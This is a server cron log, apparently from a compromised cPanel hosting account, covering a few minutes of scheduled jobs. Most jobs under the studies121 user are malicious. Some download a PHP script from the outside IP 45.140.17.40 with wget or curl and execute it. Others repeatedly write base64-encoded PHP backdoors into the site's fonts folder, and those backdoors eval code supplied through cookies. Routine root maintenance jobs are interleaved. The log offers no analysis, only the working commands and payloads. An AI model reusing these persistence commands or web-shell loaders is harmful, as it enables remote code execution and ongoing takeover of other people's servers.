Sep 12 06:18:01 ip-184-168-122-23 CROND[10069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:18:01 ip-184-168-122-23 CROND[10068]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:18:01 ip-184-168-122-23 CROND[10070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:19:01 ip-184-168-122-23 CROND[10157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:19:01 ip-184-168-122-23 CROND[10158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:19:01 ip-184-168-122-23 CROND[10159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:19:01 ip-184-168-122-23 CROND[10161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:20:01 ip-184-168-122-23 CROND[10281]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 06:20:01 ip-184-168-122-23 CROND[10282]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 06:20:01 ip-184-168-122-23 CROND[10287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:20:01 ip-184-168-122-23 CROND[10289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:20:01 ip-184-168-122-23 CROND[10290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:20:01 ip-184-168-122-23 CROND[10291]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:20:01 ip-184-168-122-23 CROND[10286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:20:01 ip-184-168-122-23 CROND[10288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:20:01 ip-184-168-122-23 CROND[10293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:21:02 ip-184-168-122-23 CROND[10447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:21:02 ip-184-168-122-23 CROND[10450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:21:02 ip-184-168-122-23 CROND[10449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:21:02 ip-184-168-122-23 CROND[10448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:22:01 ip-184-168-122-23 CROND[10614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:22:01 ip-184-168-122-23 CROND[10616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:22:01 ip-184-168-122-23 CROND[10619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:22:01 ip-184-168-122-23 CROND[10617]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:22:01 ip-184-168-122-23 CROND[10618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:23:01 ip-184-168-122-23 CROND[10703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:23:01 ip-184-168-122-23 CROND[10702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:23:01 ip-184-168-122-23 CROND[10704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:23:01 ip-184-168-122-23 CROND[10705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:24:01 ip-184-168-122-23 CROND[10834]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:24:01 ip-184-168-122-23 CROND[10835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:24:01 ip-184-168-122-23 CROND[10838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:24:01 ip-184-168-122-23 CROND[10841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:24:01 ip-184-168-122-23 CROND[10840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:25:01 ip-184-168-122-23 CROND[10931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:25:01 ip-184-168-122-23 CROND[10933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:25:01 ip-184-168-122-23 CROND[10934]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:25:01 ip-184-168-122-23 CROND[10935]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 06:25:01 ip-184-168-122-23 CROND[10940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:25:01 ip-184-168-122-23 CROND[10941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:25:01 ip-184-168-122-23 CROND[10942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:26:01 ip-184-168-122-23 CROND[11062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:26:01 ip-184-168-122-23 CROND[11065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:26:01 ip-184-168-122-23 CROND[11064]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:26:01 ip-184-168-122-23 CROND[11066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:26:01 ip-184-168-122-23 CROND[11070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:27:01 ip-184-168-122-23 CROND[11238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:27:01 ip-184-168-122-23 CROND[11240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:27:01 ip-184-168-122-23 CROND[11241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:27:01 ip-184-168-122-23 CROND[11242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:28:01 ip-184-168-122-23 CROND[11338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:28:01 ip-184-168-122-23 CROND[11339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:28:01 ip-184-168-122-23 CROND[11341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:28:01 ip-184-168-122-23 CROND[11342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:28:01 ip-184-168-122-23 CROND[11344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:29:01 ip-184-168-122-23 CROND[11425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:29:01 ip-184-168-122-23 CROND[11427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:29:01 ip-184-168-122-23 CROND[11429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:29:01 ip-184-168-122-23 CROND[11428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:30:01 ip-184-168-122-23 CROND[11527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:30:01 ip-184-168-122-23 CROND[11529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
